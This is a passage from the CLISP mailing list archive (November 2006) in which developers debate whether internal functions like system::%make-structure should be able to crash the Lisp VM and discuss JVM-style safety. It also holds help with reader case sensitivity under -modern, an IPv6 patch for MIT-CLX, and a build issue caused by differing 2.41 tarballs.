over the clisp VM.  This programmer should be allowed to make errors
and recover cleanly from them, when accessing lower level layers.


My point of view is that crashing any given layer, is like if your
hardware processor freezed because you have an invalid opcode in the
instruction stream.


> It seems to me the CLISP developers have done a reasonable job of=20
> separating the user-level interface from the implementation level=20
> interface. Appropriate naming conventions signal when you're playing=20
> with fire and may get burned. Appropriate warns have been issued, etc.

I'm not saying that clisp is bad, and I agree that it is probably too
much work (or perhaps even impossible) for one implementation to have
all the qualities.  And I have no exigence on this point, I'm only
expressing my preferences.

--=20
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Jorg Hohle wrote:
 > Only in particular scenarios would one expect *every* layer to be secure
 > against malicious input.  E.g. the JVM comes to mind.  Java initially
 > started with a stong focus towards security.

In the same way I would like my OS to ensure that no user program can
crash it (this seems not so easy to define, BTW), I would like it to
be the case that nothing I do from inside clisp can crash clisp (now
we have to define not only what qualifies as a crash but also what's 
"inside" clisp - it'll save trouble if we ignore FFI).

I do view this particular case as a bug.  Preventing such bugs does
not require that *every* layer check for malicious inputs.  It
requires that there be *some* boundary between what the user can do and
whatever can crash clisp.  At that boundary there must be enough checks
to catch anything that could cause a crash and generate lisp errors
instead.  So if I call a high level function with some bad arguments,
it is acceptable (in the sense of not crashing) to get back a lower
level lisp error, e.g., I call (make-instance 1) and get back an error
from internals::%%foobar complaining that 17 is not a symbol.

In the case of clisp I'd expect the boundary to be between what's
written in lisp and what's written in c.  Other boundaries seem
possible, but less attractive.  This means any code written in c and
directly callable from lisp has to do enough checking to prevent
crashes.  It should be allowed to assume that its inputs are "legal
lisp objects", and it should ensure that its outputs are also "legal
lisp objects".  There's some choice about how you define a legal
lisp object.  For instance, the bytecode interpretation functions
would have to do more checking if there were lisp functions that allow
you to build arbitrary sequences of bytecodes as compiled functions
than if compiled functions were guaranteed by the functions that build
them to satisfy certain restrictions.

Security in the JVM sense I think is really a different topic.  I
would like JVM to not crash, but I don't think of that as the sort of
security requirement that JVM is supposed to enforce.  Rather it is
supposed to prevent things like file system access from applets.  My
impression is that the security in java does not come from every layer
preventing misuse from the layer above, but from the bottom layers
preventing those disallowed actions.

To stray even further from the original topic, I've long thought that
lisp, and clisp in particular, would make a good replacement for java.
The strategy of controlling the interface between clisp and the OS
would seem to work fine for clisp.  Alternatively, it can be done at
the top layer by restricting the code accepted from the outside.  I've
done that on occasion to produce what amounts to a restricted eval
server.



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Don Cohen wrote:
> Jorg Hohle wrote:
>  > Only in particular scenarios would one expect *every* layer to be secure
>  > against malicious input.  E.g. the JVM comes to mind.  Java initially
>  > started with a stong focus towards security.
> 
> In the same way I would like my OS to ensure that no user program can
> crash it (this seems not so easy to define, BTW), I would like it to
> be the case that nothing I do from inside clisp can crash clisp (now
> we have to define not only what qualifies as a crash but also what's 
> "inside" clisp - it'll save trouble if we ignore FFI).

I would agree that "no user program" should be able to crash either an 
OS or a Lisp implementation.

The issue turns on what people believe is a "user program".

The original problem reported by Pascal was:
 > - system::%make-structure given a non-type segfaults.
 >   It would be nice if it raised a condition (or just returned nil)
 >   instead.

As I understand it, this is an internal function in the system package. 
It's undocumented. The function name is prefixed by "%" to indicate that 
it's internal. I haven't checked, but I'm guessing that it isn't exported.

Given that Lisp doesn't have a strong access control model between 
internal functions and public APIs, calling %make-structure is the 
equivalent of a user program calling into the middle of the Linux 
kernel, bypassing all system functions (and ignoring the fact that you 
can't do that in Linux because the security system would prevent it). 
When you do that, bad things happen.

> I do view this particular case as a bug.  Preventing such bugs does
> not require that *every* layer check for malicious inputs.  It
> requires that there be *some* boundary between what the user can do and
> whatever can crash clisp.  At that boundary there must be enough checks
> to catch anything that could cause a crash and generate lisp errors
> instead.  So if I call a high level function with some bad arguments,
> it is acceptable (in the sense of not crashing) to get back a lower
> level lisp error, e.g., I call (make-instance 1) and get back an error
> from internals::%%foobar complaining that 17 is not a symbol.

There is a layer between users and this function. It's the public API 
for creating structures.

> In the case of clisp I'd expect the boundary to be between what's
> written in lisp and what's written in c.  Other boundaries seem

??? Why would you expect that? It's a great goal, but I submit that you 
won't find that boundary in any common implementation Lisp out there, 
including Lisp machines. There are definitely Lisp functions in SBCL and 
CMUCL, for instance, that you could call and wedge your system 
tremendously. Short of a very simple interpreter with no access to 
compiled code, GC internals, or a compiler, most implementations will 
provide some functions to access and manipulate low-level data 
structures and playing with those functions without understanding them 
can result in getting burned.

> possible, but less attractive.  This means any code written in c and
> directly callable from lisp has to do enough checking to prevent
> crashes.  It should be allowed to assume that its inputs are "legal
> lisp objects", and it should ensure that its outputs are also "legal
> lisp objects".  There's some choice about how you define a legal
> lisp object.  For instance, the bytecode interpretation functions
> would have to do more checking if there were lisp functions that allow
> you to build arbitrary sequences of bytecodes as compiled functions
> than if compiled functions were guaranteed by the functions that build
> them to satisfy certain restrictions.

All that would be fine, but IMO it's not required.

> Security in the JVM sense I think is really a different topic.  I
> would like JVM to not crash, but I don't think of that as the sort of
> security requirement that JVM is supposed to enforce.  Rather it is
> supposed to prevent things like file system access from applets.  My
> impression is that the security in java does not come from every layer
> preventing misuse from the layer above, but from the bottom layers
> preventing those disallowed actions.

Lisp implementations are built on assumptions very different than a JVM 
implementation.

Specifically, Lisp implementations assume an intelligent programmer, 
writing code, who doesn't want his buggy code to crash his system. 
That's a very reasonable assumption, and in general, using standard 
Common Lisp APIs, that should be the case. I think it's perfectly 
acceptable for a large portion of the Lisp implementation to be built in 
Lisp and perhaps allow access to "unsafe" activities if the programmer 
knows what he's doing. In particular, it's very difficult to write an 
FFI that is "safe."

In contrast, the JVM assumes a malicious attacker who could be tricking 
an unsuspecting user into downloading and running code that is 
specifically crafted to do evil things.

The difference is profound. Lisp systems should protect against 
programming errors; JVMs have to protect against outright attack.

> To stray even further from the original topic, I've long thought that
> lisp, and clisp in particular, would make a good replacement for java.

Only if the Lisp implementation was written from the ground up to 
protect against the same types of attacks that a JVM has to deal with. I 
suspect CLISP was never designed for that and I don't see any reason to 
try to retrofit it to that requirement.

> The strategy of controlling the interface between clisp and the OS
> would seem to work fine for clisp.  Alternatively, it can be done at
> the top layer by restricting the code accepted from the outside.  I've
> done that on occasion to produce what amounts to a restricted eval
> server.

Worst case, you can always implement a metainterpreter that evaluates 
something remarkably like CL code. Look at the simple implementation in 
the back of Graham's ANSI Common Lisp, for instance. Or look in SICP or 
Lisp In Small Pieces.

-- Dave


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Hello, Sam!

I am processing case sensitive texts from files. In CLISP 2.38 I was 
using -modern option calling CLIPS and all was OK, CLIPS preserved cases 
appropriately while reading files. Now I switched to 2.39 and CLISP with 
-modern option reads all in downcase and without it in upper case. What 
should I do to preserve cases while reading and writing files. Thanks in 
advance for any advice and help.

-- 
Sinscerely,
	Ru

Ruslan P. Sorokin sorokin@oogis.ru
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Don Cohen wrote:
> Jorg Hohle wrote:
>  > Only in particular scenarios would one expect *every* layer to be secure
>  > against malicious input.  E.g. the JVM comes to mind.  Java initially
>  > started with a stong focus towards security.
> 
> In the same way I would like my OS to ensure that no user program can
> crash it (this seems not so easy to define, BTW), I would like it to
> be the case that nothing I do from inside clisp can crash clisp (now
> we have to define not only what qualifies as a crash but also what's 
> "inside" clisp - it'll save trouble if we ignore FFI).

oops.
looks like we must remove this function too:

LISPFUNN(crash,0)
{ /* (SYSTEM::CRASH) jumps to the debugger sitting in the background. */
   abort();
   VALUES0;                      /* no values */
}

right?
wrong.
there are some facilities in CLISP that are not intended for you as a 
user, just like unix has similar facilities (e.g., reboot(1)).
you cannot run reboot on unix as a user, you have to become root first.
you cannot run CRASH in clisp, you have to do (IN-PACKAGE "SYSTEM") first.
if you are calling non-exported stuff - from any package, SYS, CLOS, 
LISP &c, you are on your own: unless you know what you are doing, you 
might be shooting yourself in the foot.
if you are calling a "%" function, you ARE shooting yourself in the foot.
think of it as inline assembly in C.
think of it as "_..." functions in C.

Sam.


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Hi Ruslan,

Ru wrote:
> I am processing case sensitive texts from files. In CLISP 2.38 I was 
> using -modern option calling CLIPS and all was OK, CLIPS preserved cases 
> appropriately while reading files. Now I switched to 2.39 and CLISP with 
> -modern option reads all in downcase and without it in upper case. What 
> should I do to preserve cases while reading and writing files. Thanks in 
> advance for any advice and help.

please see here
http://clisp.cons.org/impnotes/clisp.html#bugs
on how to report bugs.

specifically, please describe the 2.38 behavior that you like and the 
2.39 behavior that you do not like clearly (using cut and paste).
I see nothing wrong with the latest CLISP (2.41):

[3]> 'sdg
sdg
[4]> 'sDg
sDg
[5]> 'AAA
AAA


Sam



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Dave Roberts writes:

 > The issue turns on what people believe is a "user program".
I meant any program that can be written in lisp.
For instance, the example of mapping through all packages and calling 
all functions is one that a user could write in lisp.  That would call
the function system::%make-structure.

 > There is a layer between users and this function. It's the public API 
 > for creating structures.
But the public API also allows you to map over all symbols in all
packages and call the functions.

 > > In the case of clisp I'd expect the boundary to be between what's
 > > written in lisp and what's written in c.  Other boundaries seem
 > 
 > ??? Why would you expect that? It's a great goal, but I submit that you 
 > won't find that boundary in any common implementation Lisp out there, 
 > including Lisp machines. 
Certainly that would not be the boundary in lisp machines since
there's no c in them.
I don't know about other implementations.  I think that for most
implementations that is at least the goal, at least if you leave
aside such matters as FFI and optimizing for other than safety.

   There are definitely Lisp functions in SBCL and 
 > CMUCL, for instance, that you could call and wedge your system 
There's a difference between wedging and crashing.
Note that I'm not asking for protection against such things as
infinite loops, or removing all of the symbols (which would make
it rather difficult to do anything useful).

 > tremendously. Short of a very simple interpreter with no access to 
 > compiled code, GC internals, or a compiler, most implementations will 
 > provide some functions to access and manipulate low-level data 
 > structures and playing with those functions without understanding them 
 > can result in getting burned.
Again, "getting burned" is a much more general category than what
I have in mind by the term "crash" of the VM.  I admit I have not
defined it precisely, but it involves errors that have not been caught
and presented as lisp errors.

 > Lisp implementations are built on assumptions very different than a JVM 
 > implementation.
I argue that clisp is already very close to what would be needed for
a counterpart to JVM.  In particular it was built with safety in mind.
It generally provides no optimizations that override safety.

 > Specifically, Lisp implementations assume an intelligent programmer, 
 > writing code, who doesn't want his buggy code to crash his system. 
 > That's a very reasonable assumption, and in general, using standard 
 > Common Lisp APIs, that should be the case. I think it's perfectly 
 > acceptable for a large portion of the Lisp implementation to be built in 
 > Lisp and perhaps allow access to "unsafe" activities if the programmer 

Note that I also think that much (most, perhaps even almost all) of
the implementation should be in lisp, and that this will not introduce
any bugs of the class under discussion precisely because of the
boundary between lisp code and the underlying non-lisp code.
The only argument is what "unsafe" includes.  I want it NOT to allow
you out of the lisp virtual machine.

 > knows what he's doing. In particular, it's very difficult to write an 
 > FFI that is "safe."

I specifically excepted FFI in part because I would expect a lisp
counterpart to java not to support FFI (or for that matter system
calls).  

 > In contrast, the JVM assumes a malicious attacker who could be tricking 
 > an unsuspecting user into downloading and running code that is 
 > specifically crafted to do evil things.
 > 
 > The difference is profound. Lisp systems should protect against 
 > programming errors; JVMs have to protect against outright attack.
I argue that clisp is almost adequate as it is and could be made
adequate fairly easily.  It would have to be built without certain
functions like FFI and OS access (or these could just be removed after
the fact), and then at the bottom level some additional controls would
have to be added.

 > Only if the Lisp implementation was written from the ground up to 
 > protect against the same types of attacks that a JVM has to deal with. I 
 > suspect CLISP was never designed for that and I don't see any reason to 
 > try to retrofit it to that requirement.

This is where I disagree.  I think clisp was designed along just those
lines.  


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Don Cohen wrote:
> Dave Roberts writes:
> 
>  > The issue turns on what people believe is a "user program".
> I meant any program that can be written in lisp.
> For instance, the example of mapping through all packages and calling 
> all functions is one that a user could write in lisp.  That would call
> the function system::%make-structure.

Okay, then I guess I disagree with you. I see no reason why all private 
functions in the Lisp implementation should be made "safe" from random 
calling with bogus parameters. According to this defintion, *every* 
function would be required to perform extensive parameter checking, 
which would slow the system to a crawl. And I like the fact that CLISP 
is reasonably speedy for a byte-code implementation already. And I don't 
see any benefit to making the system that safe and secure.

If you call public functions, documented either in the ANSI CL spec or 
in the implementation spec, and those functions don't have big "WARNING, 
MAY BE UNSAFE" language associated with them, then I agree that those 
functions shouldn't crash a Lisp implementation.

Finally, this is not to say that making the system more robust should 
not be a goal. It should. The number of unsafe functions should be 
minimized, but engineers should trade-off performance and safety to come 
to an acceptable compromise.

>  > > In the case of clisp I'd expect the boundary to be between what's
>  > > written in lisp and what's written in c.  Other boundaries seem
>  > 
>  > ??? Why would you expect that? It's a great goal, but I submit that you 
>  > won't find that boundary in any common implementation Lisp out there, 
>  > including Lisp machines. 
> Certainly that would not be the boundary in lisp machines since
> there's no c in them.

"C" is just a code-word for the lowest layers of the system. What you're 
seeing with part of these implementations is that a low-level portion is 
actually being written in Lisp.

> I don't know about other implementations.  I think that for most
> implementations that is at least the goal, at least if you leave
> aside such matters as FFI and optimizing for other than safety.

I know of no implementation other than fairly simple interpreters or 
byte-code interpreters that would survive your "iterate through all 
packages and all functions calling things randomly" test unscathed. Most 
all serious implementations give at least the implementation itself 
access to unsafe operations, if not actually documenting some of those 
operations for application programmers.

> Again, "getting burned" is a much more general category than what
> I have in mind by the term "crash" of the VM.  I admit I have not
> defined it precisely, but it involves errors that have not been caught
> and presented as lisp errors.

We're on the same page with our defintion of "crash," I believe. I'm 
playing fast-and-loose with my terminology, but that's what I meant by 
"getting burned." I'm saying that there are ooodles of functions in many 
implementations that will not present the user with a Lisp error, just a 
core dump or hang, when called incorrectly.

>  > Lisp implementations are built on assumptions very different than a JVM 
>  > implementation.
> I argue that clisp is already very close to what would be needed for
> a counterpart to JVM.  In particular it was built with safety in mind.
> It generally provides no optimizations that override safety.

It was not built with the same safety guarantees of a JVM, however. The 
JVM bytecode was specifically designed to allow certain forms of 
verification to be performed on it. I doubt CLISP was at all designed 
with those same goals.

And again, I don't think that's a problem with CLISP. It's a great CL 
implementation, and I'm very grateful that it exists (thanks Bruno, Sam, 
and all the others who have contributed to it over the years!!).

>  > Specifically, Lisp implementations assume an intelligent programmer, 
>  > writing code, who doesn't want his buggy code to crash his system. 
>  > That's a very reasonable assumption, and in general, using standard 
>  > Common Lisp APIs, that should be the case. I think it's perfectly 
>  > acceptable for a large portion of the Lisp implementation to be built in 
>  > Lisp and perhaps allow access to "unsafe" activities if the programmer 
> 
> Note that I also think that much (most, perhaps even almost all) of
> the implementation should be in lisp, and that this will not introduce
> any bugs of the class under discussion precisely because of the
> boundary between lisp code and the underlying non-lisp code.
> The only argument is what "unsafe" includes.  I want it NOT to allow
> you out of the lisp virtual machine.

Then I think you have different goals than the original CLISP 
implementors and I think it's unreasonable to expect them to fix a "bug" 
like this. IMO, the original case that Pascal reported was "pilot 
error," not a "bug." This isn't to suggest that the particular function 
in question shouldn't be called, but it should obviously be called with 
knowledge of its limitations and in a correct way, in accord with the 
assumptions to which it was written. Violate those assumptions, and 
well, bad things could happen.

It's the old joke:
Patient: Doctor, doctor, it hurts when I do this...
Doctor: Don't do that.

> I argue that clisp is almost adequate as it is and could be made
> adequate fairly easily.  It would have to be built without certain
> functions like FFI and OS access (or these could just be removed after
> the fact), and then at the bottom level some additional controls would
> have to be added.

Given that CLISP is GPL, feel free to fork it and shape it to your uses. 
I'm not sure that your uses are close to many other people want. 
Certainly, I don't share them, and in fact would probably find your 
implementation too slow.

>  > Only if the Lisp implementation was written from the ground up to 
>  > protect against the same types of attacks that a JVM has to deal with. I 
>  > suspect CLISP was never designed for that and I don't see any reason to 
>  > try to retrofit it to that requirement.
> 
> This is where I disagree.  I think clisp was designed along just those
> lines.  

I don't know the minds of the original developers. The original CLISP 
implementation started way before Java was around, so I doubt it. 
Certainly, nothing in the implementation leads me to that conclusion. I 
think CLISP was designed to reduce the impact of programmer bugs. Again, 
that's a far cry from making all such bugs land in the Lisp debugger and 
resisting malicious attacks.

And that's okay. CLISP does a great job.

Finally, I would note that even in the JVM, there are probably functions 
accessible to the lowest layers of the byte-code that are unsafe. Those 
functions are marked "private", however, and Java's class-loading and 
security system enforce that arbitrary user code cannot call those 
functions without going through standard APIs where extensive parameter 
checking occurs. The Common Lisp package system has no such enforcement 
techniques. If a function exists in the system, bound to a symbol, 
whether exported from its package or not, I as a programmer can call it. 
Some of us actually see that as a feature.

-- Dave


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Hi Sam,

Thank you for the answer. I have installed 2.41, but it seems like 
problem is not connected to version number.
Look at the listing:

; SLIME 2005-12-27
cs-user> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq x 
(read in))(close in))
t
cs-user> x
([KSHVI1_Instance_0] of OMCircle (fillColor "1FFF00AA") (label "A1") 
(latitude "53 29")
 (lineColor "FFFF00AA") (longitude "167 1") (radius 30.0))
cs-user> (defpackage :test44)
#<package test44>
cs-user> (in-package :test44)
#<package test44>
test44> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq z 
(read in))(close in))
t
test44> z
([kshvi1_instance_0] of omcircle (fillcolor "1FFF00AA") (label "A1") 
(latitude "53 29")
 (linecolor "FFFF00AA") (longitude "167 1") (radius 30.0))
test44>

It seems like reader works differently in defined package and in default 
package.
Would you be so kind to help me once more?
Thanks in advance.

Sincerely,
Ru

Sam Steingold wrote:
> Hi Ruslan,
>
> Ru wrote:
>> I am processing case sensitive texts from files. In CLISP 2.38 I was 
>> using -modern option calling CLIPS and all was OK, CLIPS preserved 
>> cases appropriately while reading files. Now I switched to 2.39 and 
>> CLISP with -modern option reads all in downcase and without it in 
>> upper case. What should I do to preserve cases while reading and 
>> writing files. Thanks in advance for any advice and help.
>
> please see here
> http://clisp.cons.org/impnotes/clisp.html#bugs
> on how to report bugs.
>
> specifically, please describe the 2.38 behavior that you like and the 
> 2.39 behavior that you do not like clearly (using cut and paste).
> I see nothing wrong with the latest CLISP (2.41):
>
> [3]> 'sdg
> sdg
> [4]> 'sDg
> sDg
> [5]> 'AAA
> AAA
>
>
> Sam
>
>



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Sam Steingold writes:
 > oops.
 > looks like we must remove this function too:
 > LISPFUNN(crash,0)
This falls in the category of FFI and OS interface.
It's explicitly meant to get you out of the lisp virtual machine.
Of course, there's also the exit function.
I really think that even these should not directly give you segfaults,
although of course they let you do other things that will.

In any case, I think you (both Dave and Sam) are missing the points
that (1) I'm not asking for every function to check its arguments,
just those on the boundary between lisp and c, and (2) I don't think
that this is expensive.  
BTW, isn't there a way to catch signals at the c level?
Couldn't every otherwise uncaught signal be caught and presented as
a lisp error?  I wouldn't be happy to get a lisp error telling me
about a segfault, but I'd prefer that to exiting lisp.


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-11-11 16:28:58 -0800]:
>
> BTW, isn't there a way to catch signals at the c level?
> Couldn't every otherwise uncaught signal be caught and presented as
> a lisp error?  I wouldn't be happy to get a lisp error telling me
> about a segfault, but I'd prefer that to exiting lisp.

IMHO, this is a reasonable idea.
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Hi Ruslan,

> * Ru <fbebxva@bbtvf.eh> [2006-11-11 13:50:32 +0300]:
>
> ; SLIME 2005-12-27

this note and the non-standard prompt indicate that you are using SLIME.
do you know that SLIME executes some code in the beginning of a session?
what code is that?

> cs-user> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq x 
> (read in))(close in))
> t
> cs-user> x
> ([KSHVI1_Instance_0] of OMCircle (fillColor "1FFF00AA") (label "A1") 
> (latitude "53 29")
>  (lineColor "FFFF00AA") (longitude "167 1") (radius 30.0))
> cs-user> (defpackage :test44)
> #<package test44>
> cs-user> (in-package :test44)
> #<package test44>
> test44> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq z 
> (read in))(close in))
> t
> test44> z
> ([kshvi1_instance_0] of omcircle (fillcolor "1FFF00AA") (label "A1") 
> (latitude "53 29")
>  (linecolor "FFFF00AA") (longitude "167 1") (radius 30.0))
> test44>
>
> It seems like reader works differently in defined package and in
> default package.

yes, of course:
you appear to have started CLISP with "-modern", so CL-USER is now
case-sensitive. you did not pass (:MODERN T) to DEFPACKAGE, so TEST44 is
a normal case-converting package.
you also appear to have *PRINT-CASE* set to :DOWNCASE.
see http://clisp.cons.org/impnotes/package-case.html
also, please start CLISP at the shell prompt like this:
"clisp -q -norc" and copy and paste all the interaction.
please clearly indicate what you expect and how it is different from
what you see.


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Hello Sam,

Sam Steingold wrote:
> Hi Ruslan,
>
>   
>> * Ru <fbebxva@bbtvf.eh> [2006-11-11 13:50:32 +0300]:
>>
>> ; SLIME 2005-12-27
>>     
>
> this note and the non-standard prompt indicate that you are using SLIME.
> do you know that SLIME executes some code in the beginning of a session?
> what code is that?
>
>   
>> cs-user> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq x 
>> (read in))(close in))
>> t
>> cs-user> x
>> ([KSHVI1_Instance_0] of OMCircle (fillColor "1FFF00AA") (label "A1") 
>> (latitude "53 29")
>>  (lineColor "FFFF00AA") (longitude "167 1") (radius 30.0))
>> cs-user> (defpackage :test44)
>> #<package test44>
>> cs-user> (in-package :test44)
>> #<package test44>
>> test44> (with-open-file (in "C:/azmScenery/sandbox/ks3.pins")(setq z 
>> (read in))(close in))
>> t
>> test44> z
>> ([kshvi1_instance_0] of omcircle (fillcolor "1FFF00AA") (label "A1") 
>> (latitude "53 29")
>>  (linecolor "FFFF00AA") (longitude "167 1") (radius 30.0))
>> test44>
>>
>> It seems like reader works differently in defined package and in
>> default package.
>>     
>
> yes, of course:
> you appear to have started CLISP with "-modern", so CL-USER is now
> case-sensitive. you did not pass (:MODERN T) to DEFPACKAGE, so TEST44 is
> a normal case-converting package.
> you also appear to have *PRINT-CASE* set to :DOWNCASE.
> see http://clisp.cons.org/impnotes/package-case.html
> also, please start CLISP at the shell prompt like this:
> "clisp -q -norc" and copy and paste all the interaction.
> please clearly indicate what you expect and how it is different from
> what you see.
>
>
>   
I'll try to clarify myself. Common Lisp is quite novel to me, although I 
am an old Lisp admirer.
I prefer CLISP because it multiplatform and support Russian better than 
other distributions, I think so. Am I right?
(defpackage :test44 (:modern t)) solved my problem of reading from file 
and processing case-sensitive data, but arise new problem. Somewhere 
inside Araneida code (simple web server I used for GUI to my programs) 
spring up an error:

make-pathname: illegal keyword/value pair :|host|, nil in argument list.
The allowed keywords are #1=(:defaults
    :case :host :device :directory :name :type :version)
   [Condition of type system::simple-keyword-error]

I could not locate from the frame stack output where make-pathname was 
called. Moreover, full search around Araneida code did not find 
make-pathname call. I only locate part of my code where the error appears:

(let* ((pn #P"c:/RuProjects/ScenSupport/lisp/"))
  (install-handler (http-listener-handler *listener*)
           (make-instance 'static-file-handler :pathname pn)
           (urlstring *ruis-url*) nil))

Sam, may be you can guess what's wrong or where to look next?
Or, can you offer common decision for such task: Processing of 
case-sensitive data + modern user interface (not using commertial 
products :))?
Am I bother you much?
By the way, can I write to you in Russian? :)

Sincerely,
Ru


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When using MIT-CLX on a machine with IPv6 available, I get this error:

*** - The value of XLIB::FAMILY must be one of :LOCAL, :INTERNET
      The value is: 6

The patch below seems to fix that.

Magnus

Index: clx.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/clx.lisp,v
retrieving revision 1.4
diff -u -r1.4 clx.lisp
--- clx.lisp	13 Apr 2004 16:52:24 -0000	1.4
+++ clx.lisp	12 Nov 2006 13:13:57 -0000
@@ -98,6 +98,7 @@
     (:internet . 0)
     (:decnet . 1)
     (:chaos . 2)
+    (:internet6 . 6)
     ;; X11/Xauth.h "not part of X standard"
     (:Local . 256)
     (:Wild . 65535)
Index: display.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/display.lisp,v
retrieving revision 1.2
diff -u -r1.2 display.lisp
--- display.lisp	13 Apr 2004 16:52:23 -0000	1.2
+++ display.lisp	12 Nov 2006 13:13:57 -0000
@@ -82,7 +82,7 @@
 	   family
 	   (ecase family
 	     (:local (map 'string #'code-char address))
-	     (:internet (coerce address 'list)))
+	     ((:internet :internet6) (coerce address 'list)))
 	   number name data))))))
 
 (defun get-best-authorization (host display protocol)



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> * Magnus Henoch <znatr@serrznvy.uh> [2006-11-12 14:19:36 +0100]:
>
> When using MIT-CLX on a machine with IPv6 available, I get this error:
>
> *** - The value of XLIB::FAMILY must be one of :LOCAL, :INTERNET
>       The value is: 6
>
> The patch below seems to fix that.

is this your patch?
what is the "official" repository for CLX?
is the patch there too?

thanks!

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Hi Ruslan,

> I prefer CLISP because it multiplatform and support Russian better
> than other distributions, I think so. Am I right?

Yes, CLISP is the best lisp wrt i18n.

> (defpackage :test44 (:modern t)) solved my problem of reading from file 
> and processing case-sensitive data, but arise new problem. Somewhere 
> inside Araneida code (simple web server I used for GUI to my programs) 
> spring up an error:
>
> make-pathname: illegal keyword/value pair :|host|, nil in argument list.
> The allowed keywords are #1=(:defaults
>     :case :host :device :directory :name :type :version)
>    [Condition of type system::simple-keyword-error]
>
> I could not locate from the frame stack output where make-pathname was
> called. Moreover, full search around Araneida code did not find
> make-pathname call.

search for ":host" and ":HOST" (grep -i).
search for "pathname".

> I only locate part of my code where the error appears:
>
> (let* ((pn #P"c:/RuProjects/ScenSupport/lisp/"))

does (pathname "c:/RuProjects/ScenSupport/lisp/") work?

>   (install-handler (http-listener-handler *listener*)
>            (make-instance 'static-file-handler :pathname pn)
>            (urlstring *ruis-url*) nil))

I am afraid you will need to get rid of the Araneida dependencies before
I can reproduce this.
load uncompiled files (remove *.fas) and see what is actually triggering
this.


> By the way, can I write to you in Russian? :)

personal e-mails, yes.
CLISP-related, no.
CLISP is supported only on the mailing lists and
CLISP lists are English-only.
You wouldn't want to have to read German (or French) discussions here,
would you?

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Like Pascal I also had this weird build problem on Linux. When building
CLISP I would get errors on the readline module. However, when I used
-with-noreadline I got the same errors, but now for the wildcard module.

When searching through the archives I got a feeling that there had been
some version confusion regarding other platform builds. And indeed:

I was using the CLISP 2.41 from gnu:

clisp-2.41.tar.bz2  8319063 bytes  (signature OK)

but when I switched to the CLISP 2.41 on sourceforge:

clisp-2.41.tar.bz2  8319471 bytes  (no signature)

the build went fine.

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Sam Steingold <sds@gnu.org> writes:

> is this your patch?

Yes.

> what is the "official" repository for CLX?

Good question.  http://www.cliki.net/CLX seems to say that everyone
has their own version, but that telent CLX is in more widespread use
than others (used in SBCL, OpenMCL and ECL).  telent CLX doesn't
currently work on CLISP, but that shouldn't be hard to fix.  It might
make sense to eventually replace MIT-CLX with telent CLX.

I'm not sure how NEW-CLX relates to this.  Both stumpwm and McCLIM
require MIT-CLX when run on CLISP, and I imagine it makes more sense
to have a common cross-implementation CLX than trying to fill the
holes of NEW-CLX.

> is the patch there too?

For telent CLX: no, but there is a comment that this should be fixed.

Magnus



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> * Magnus Henoch <znatr@serrznvy.uh> [2006-11-12 23:37:44 +0100]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>> what is the "official" repository for CLX?
>
> Good question.  http://www.cliki.net/CLX seems to say that everyone
> has their own version, but that telent CLX is in more widespread use
> than others (used in SBCL, OpenMCL and ECL).  telent CLX doesn't
> currently work on CLISP, but that shouldn't be hard to fix.  It might
> make sense to eventually replace MIT-CLX with telent CLX.

I don't think MIT-CLX is much different from telent CLX, I think all we
need to do is merge them.

>> is the patch there too?
>
> For telent CLX: no, but there is a comment that this should be fixed.

I suggest that you submit your patch there too.

I will commit your patch to clisp as soon as you send the ChangeLog
entry.
thanks!

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Jerry van Dijk writes:
> Like Pascal I also had this weird build problem on Linux. When building
> CLISP I would get errors on the readline module. However, when I used
> -with-noreadline I got the same errors, but now for the wildcard module=
.
>=20
> When searching through the archives I got a feeling that there had been
> some version confusion regarding other platform builds. And indeed:
>=20
> I was using the CLISP 2.41 from gnu:
>=20
> clisp-2.41.tar.bz2  8319063 bytes  (signature OK)
>=20
> but when I switched to the CLISP 2.41 on sourceforge:
>=20
> clisp-2.41.tar.bz2  8319471 bytes  (no signature)
>=20
> the build went fine.

Indeed, I got mine from gnu.org too.
Sourceforge mirror resolution is painful...
...but indeed the version at sourceforge compiles cleanly.

Thanks Jerry.

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Don Cohen wrote:
>In the case of clisp I'd expect the boundary to be between what's
>written in lisp and what's written in c.  Other boundaries seem
>possible, but less attractive.  This means any code written in c and
>directly callable from lisp has to do enough checking to prevent
>crashes.

Doing sanity checks may be hairy, even at the language level.

My pet example is the hash table iterator.

You can recognize a carefully-defined (that's not free from irony in
this context) language in that it acknowledges that such a construct is
inherently dangerous, albeit useful.

The problem arises when doing updates to the hash table while walking
it, esp. updating another element than the current one.  Internals
pointers to the hashtable structure may become invalid.  IIRC, CLtL and
CLHS, and the Java Language Specification have a word about that case.

"The consequences are unspecified if any attempt is made to add or
remove an entry from the hash-table while a maphash is in progress, with
two exceptions: [...]"
There's no need for threads for that.

My point is that even at the language level, forms may be documented
whose use in certain circumstances may crash the run-time system.

CLHS ?3.6 lists other destructive operations which you can try to crash
your favourite implementation.

Of course, I agree that it's nice if the implementation never crashes in
the cases listed in 3.6.

Regards,
	Jorg Hohle


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Sam Steingold <sds@gnu.org> writes:

> I don't think MIT-CLX is much different from telent CLX, I think all we
> need to do is merge them.

Yes, that should be fairly easy.  I don't dare to promise anything,
but I hope to find time to look at that...

> I suggest that you submit your patch there too.

Done.

> I will commit your patch to clisp as soon as you send the ChangeLog
> entry.

Like this?

2006-11-13  Magnus Henoch  <mange@freemail.hu>

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> * Magnus Henoch <znatr@serrznvy.uh> [2006-11-13 21:29:03 +0100]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>> I don't think MIT-CLX is much different from telent CLX, I think all we
>> need to do is merge them.
>
> Yes, that should be fairly easy.  I don't dare to promise anything,
> but I hope to find time to look at that...

ok, your patch is due by next Monday. :-)
[at Gelfand's seminar, that was the standard answer to a student asking
"by what time am I supposed to learn everything about FOO" (FOO being
Lie algebras, String theory &c &c)]

> 2006-11-13  Magnus Henoch  <mange@freemail.hu>
>
> 	* clx/mit-clx/clx.lisp (*protocol-families*): Add :internet6.
> 	* clx/mit-clx/display.lisp (read-xauth-entry): Likewise.

committed, thanks.

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> When using MIT-CLX on a machine with IPv6 available, I get this error:
>
